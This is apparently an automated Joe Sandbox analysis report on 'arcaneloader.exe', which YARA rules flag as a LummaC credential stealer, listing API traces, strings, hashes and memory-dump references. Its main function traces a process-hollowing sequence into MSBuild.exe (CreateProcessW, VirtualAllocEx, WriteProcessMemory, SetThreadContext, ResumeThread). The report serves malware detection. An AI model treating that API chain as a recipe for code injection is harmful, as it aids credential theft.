Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:03:02
Start date:	23/11/2024
Path:	C:\Users\user\Desktop\arcaneloader.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\arcaneloader.exe"
Imagebase:	0xdb0000
File size:	507'392 bytes
MD5 hash:	F6AF7A6808F0E831FED6566C54B1E94E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2265617650.000000000327A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	0.5%
Signature Coverage:	3.6%
Total number of Nodes:	1619
Total number of Limit Nodes:	29

Executed Functions

Function 00DDB18D Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,00DDB0FF,00DDB0EF), ref: 00DDB323
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00DDB336
Wow64GetThreadContext.KERNEL32(000000A0,00000000), ref: 00DDB354
ReadProcessMemory.KERNELBASE(0000009C,?,00DDB143,00000004,00000000), ref: 00DDB378
VirtualAllocEx.KERNELBASE(0000009C,?,?,00003000,00000040), ref: 00DDB3A3
WriteProcessMemory.KERNELBASE(0000009C,00000000,?,?,00000000,?), ref: 00DDB3FB
WriteProcessMemory.KERNELBASE(0000009C,00400000,?,?,00000000,?,00000028), ref: 00DDB446
WriteProcessMemory.KERNELBASE(0000009C,?,?,00000004,00000000), ref: 00DDB484
Wow64SetThreadContext.KERNEL32(000000A0,02FC0000), ref: 00DDB4C0
ResumeThread.KERNELBASE(000000A0), ref: 00DDB4CF

Strings

ReadProcessMemory, xrefs: 00DDB278
Load, xrefs: 00DDB1C9
CreateProcessW, xrefs: 00DDB23F
GetP, xrefs: 00DDB20D
ResumeThread, xrefs: 00DDB2C7
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 00DDB322
GetThreadContext, xrefs: 00DDB265
VirtualAllocEx, xrefs: 00DDB28B
TerminateProcess, xrefs: 00DDB3B2
aryA, xrefs: 00DDB1D1
SetThreadContext, xrefs: 00DDB2B1
ress, xrefs: 00DDB215
WriteProcessMemory, xrefs: 00DDB29E
VirtualAlloc, xrefs: 00DDB252

Memory Dump Source

Source File: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$CreateProcessW$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-3857624555
Opcode ID: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction ID: 231ad74ea296bab695a5c1d32c745f34c46a6b1916c9d03f0e32b0056615e2ca
Opcode Fuzzy Hash: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction Fuzzy Hash: C4B1087264064AEFDB60CF68CC80BDA73A5FF88724F168515EA08AB341D770FA51CB94

Function 00DBCD10 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04ce0fe734eefe1fcabf1c7e69fff21834aa013b6522909b96277646cd822c0e
Instruction ID: 288e4a930c14a0b87eb4d8f6821f9d4497322c7ac85c46f8c13247bac6f1e54d
Opcode Fuzzy Hash: 04ce0fe734eefe1fcabf1c7e69fff21834aa013b6522909b96277646cd822c0e
Instruction Fuzzy Hash: 9C011474A04308CFCB14DF68D885BD9FBF0EB18710F4185AEA88897340EB74AA84CF95

Function 00DC9DD3 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,D6D5FCFF,?,00DC9EE2,?,?,00000000), ref: 00DC9E94

Strings

api-ms-, xrefs: 00DC9E2A
ext-ms-, xrefs: 00DC9E3E

Memory Dump Source

Source File: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 76bd9407f615945589e143c9ca54b6fb1cf5785a4e197797f77447020ec6eed8
Instruction ID: e92e271d86a851d32c14faefc482c576d6b363f78c8943a99b47b3da718d3776
Opcode Fuzzy Hash: 76bd9407f615945589e143c9ca54b6fb1cf5785a4e197797f77447020ec6eed8
Instruction Fuzzy Hash: 50219231A02312ABC72197649C59F5AB75CAB61770F29011AF916E7391D730ED01C6F0

Function 00DBBEB0 Relevance: 9.2, APIs: 6, Instructions: 173
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00DBBF10

Memory Dump Source

Source File: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 51a279d8e2281d87ae5dbb25e69db8d0bd50cc5faa3e81767d57f853d10ee4af
Instruction ID: 6c15bbe4f77dee12c876aff72d5def21af337261fdd95e1f323b9c2f6c06063e
Opcode Fuzzy Hash: 51a279d8e2281d87ae5dbb25e69db8d0bd50cc5faa3e81767d57f853d10ee4af
Instruction Fuzzy Hash: 557113B4A05209DFCB04DFACD9586EEBBF0FB48700F10852AE896AB350D77599458F62

Function 00DC6CE6 Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(?,?,Function_00016E00,00000000,?,?), ref: 00DC6D2F
GetLastError.KERNEL32(?,00000000,00000000,?,00DC3BEA), ref: 00DC6D3B
__dosmaperr.LIBCMT ref: 00DC6D42

Memory Dump Source

Source File: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

Similarity

API ID: CreateErrorLastThread__dosmaperr
String ID:
API String ID: 2744730728-0
Opcode ID: 0fcae115853ddc504751598fe96a095594baec1a25bb807f99a23660b1af63a0
Instruction ID: ccbcd6f13ac02e7182cfd51c86d435e3f5742bf31cac85dd37b190c51057bf2d
Opcode Fuzzy Hash: 0fcae115853ddc504751598fe96a095594baec1a25bb807f99a23660b1af63a0
Instruction Fuzzy Hash: 62014CB260021AAFDF159FA0DC16FAE7BA9EF40764F14405DB80297190DB71DE50DBB0

Function 00DC6FEF Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000002,?,00DC70B1,00DC83A0,00DC83A0,?,00000002,D6D5FCFF,00DC83A0,00000002), ref: 00DC7000
TerminateProcess.KERNEL32(00000000,?,00DC70B1,00DC83A0,00DC83A0,?,00000002,D6D5FCFF,00DC83A0,00000002), ref: 00DC7007
ExitProcess.KERNEL32 ref: 00DC7019

Memory Dump Source

Source File: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 8894513972520337e445cfa9b8a2a26f2ab7815278c6d7ae0e573ac70f12cda0
Instruction ID: 9c49353cc8b8a75faece5df15b48aa33e3036533eefe03f775ec702f97f23d38
Opcode Fuzzy Hash: 8894513972520337e445cfa9b8a2a26f2ab7815278c6d7ae0e573ac70f12cda0
Instruction Fuzzy Hash: 53D06C31005209ABCF113FA0ED1AE8D7F2AEF44351B048019B9098A262DB36D996EBB4

Function 00DCA732 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,00000000,00DCA621,00DDA088,0000000C), ref: 00DCA77E
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,00000000,00DCA621,00DDA088,0000000C), ref: 00DCA790

Memory Dump Source

Source File: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: f85d5319bea8b4354089bf227d9f67ca419367ca6cfca576aa1f72b1b1e9d437
Instruction ID: aed67536a646d86552ae8c0238b821d73ccdaf71a36ddcda77d21b45ae8a5944
Opcode Fuzzy Hash: f85d5319bea8b4354089bf227d9f67ca419367ca6cfca576aa1f72b1b1e9d437
Instruction Fuzzy Hash: 7211A5715047474ACB304A3E8C88F22BAA4BB56338B3C071ED5B6C75F2C274D846D662

Function 00DC6E00 Relevance: 3.0, APIs: 2, Instructions: 38
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(00DD9D20,0000000C), ref: 00DC6E13
ExitThread.KERNEL32 ref: 00DC6E1A

Memory Dump Source

Source File: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

Similarity

API ID: ErrorExitLastThread
String ID:
API String ID: 1611280651-0
Opcode ID: 8f3c2ed4eef3eb15ed93981a33c55c7629f70fe45634892148173b7e3e2c5053
Instruction ID: 2cec155d0b0389ec0c97a5887a23c6f72d3f13e22c7ff262a23791ddbdad450d
Opcode Fuzzy Hash: 8f3c2ed4eef3eb15ed93981a33c55c7629f70fe45634892148173b7e3e2c5053
Instruction Fuzzy Hash: 5EF0AF70A00306AFDB01AFB0C85AF2E7BA5FF00710F14454EF0019B292CB71A901CBB1

Function 00DCB0CB Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,00DCBC39,?,00000000,?,?,00DCBB55,?,00000007,?,?,00DCC16E,?,?), ref: 00DCB0E1
GetLastError.KERNEL32(?,?,00DCBC39,?,00000000,?,?,00DCBB55,?,00000007,?,?,00DCC16E,?,?), ref: 00DCB0EC

Memory Dump Source

Source File: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 560a4dbdfac8c514fcc5c8ed6b21ed289e975a4ba24aa9904bb45179df1cb73b
Instruction ID: 1015e248957c1bb2bf58b5a46aa9b43502bb4b0d0325b68ec9ada4205de3c8fe
Opcode Fuzzy Hash: 560a4dbdfac8c514fcc5c8ed6b21ed289e975a4ba24aa9904bb45179df1cb73b
Instruction Fuzzy Hash: 5EE0863110130567CB112BA0FC0EF597B5DDB44361F140026F508C7161D735C941C7B4

Function 00DCA00A Relevance: 2.6, APIs: 2, Instructions: 71
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?,00DC6E25,00DD9D20,0000000C), ref: 00DCA00E
SetLastError.KERNEL32(00000000), ref: 00DCA0B0

Memory Dump Source

Source File: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: fb778e48ea4c4bf5b4830559cb5dc8f1af0c55e9aab5f76cd0adf291b0940275
Instruction ID: 6465f08cc15df3d0d93ef5aa0d5a6ebdde1810012eea4336c6369c4f5f99a1cd
Opcode Fuzzy Hash: fb778e48ea4c4bf5b4830559cb5dc8f1af0c55e9aab5f76cd0adf291b0940275
Instruction Fuzzy Hash: 4811912120521FAE9A212FB9ACC6F273B59EB417FCB24012EF514D71A6EB51CC06A172

Function 00DC3B60 Relevance: 1.6, APIs: 1, Instructions: 86
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45ea4c08ba17c8b86c2b9bfe2d439328e9ade548a51c538b161d365bdeb82ba4
Instruction ID: b17390257aa9a9f9233f58665a2b7000e243a4b9b651bd53689fc235054cf867
Opcode Fuzzy Hash: 45ea4c08ba17c8b86c2b9bfe2d439328e9ade548a51c538b161d365bdeb82ba4
Instruction Fuzzy Hash: D231C3B4D0420A8BCB04DFA9C694AAEBBF0FF48304F14C42EE456AB340DB359A05DF65

Function 00DC9E9E Relevance: 1.6, APIs: 1, Instructions: 56
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f03d3f7972ef823dde22e4cafe43c5126b764989512309befcbdafc23089fef7
Instruction ID: c92a1ea28acb864a6a26ec994c2e80cbfe01a39bda87381e8bf5a5b443fd9d5b
Opcode Fuzzy Hash: f03d3f7972ef823dde22e4cafe43c5126b764989512309befcbdafc23089fef7
Instruction Fuzzy Hash: CE01D2332052179B9B028F69EC58F16B76AFB8433472D412EF504DB654EB30D80086B4

Function 00DBCD90 Relevance: 1.5, APIs: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateEllipticRgn.GDI32 ref: 00DBCDF9

Memory Dump Source

Source File: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

Similarity

API ID: CreateElliptic
String ID:
API String ID: 1611293138-0
Opcode ID: 65fd60a50dd4a6ee6135e7aa93553e04a06bcd27ac3bca64fbcf0bdf6dc8f3af
Instruction ID: 498ddf9848a48372ed7e50562f94e68794d6c98f746f28e7d00c0de0c25734c1
Opcode Fuzzy Hash: 65fd60a50dd4a6ee6135e7aa93553e04a06bcd27ac3bca64fbcf0bdf6dc8f3af
Instruction Fuzzy Hash: 7A11C5B4D00309DBCB04EFA4C45579EFBF1FB48304F40891AE855A7354EB74A608CBA5

Function 00DCB807 Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,?,?,00DCA057,00000001,00000364,?,00000005,000000FF,?,00DC6E25,00DD9D20,0000000C), ref: 00DCB848

Memory Dump Source

Source File: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 9ca152eed386ec49ce2aaa19e8e76d2e77277510331783c535a0b589998c7ca8
Instruction ID: 6c33db099b6ef27f38f8d655e588d1d561d8a7e9753fb3d344fc6a3db0b85326
Opcode Fuzzy Hash: 9ca152eed386ec49ce2aaa19e8e76d2e77277510331783c535a0b589998c7ca8
Instruction Fuzzy Hash: ACF09A3160162766AB226A628C07F6A7B8CEF41770F18402FF858E7291DB20D809D6F0

Function 00DCBC45 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00DC41E0,?,?,00DC1007,?,00DBFAB5), ref: 00DCBC77

Memory Dump Source

Source File: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 669414c3604d590386b556b12d018c626b550a50fa9102c84a559c7581e1a273
Instruction ID: 2cfec965319907ed44b4d11ee4870dac6e9ed43b5cde2fd7bb6b0683ad98647e
Opcode Fuzzy Hash: 669414c3604d590386b556b12d018c626b550a50fa9102c84a559c7581e1a273
Instruction Fuzzy Hash: 3EE0A931501A236AEA2126719E07F9BAA48AB813B0F08122BBC64D7190CF22C80182B4

Non-executed Functions

Function 00DC4CA2 Relevance: 143.7, APIs: 41, Strings: 41, Instructions: 180libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00DC4CB6
GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00DC4CC4
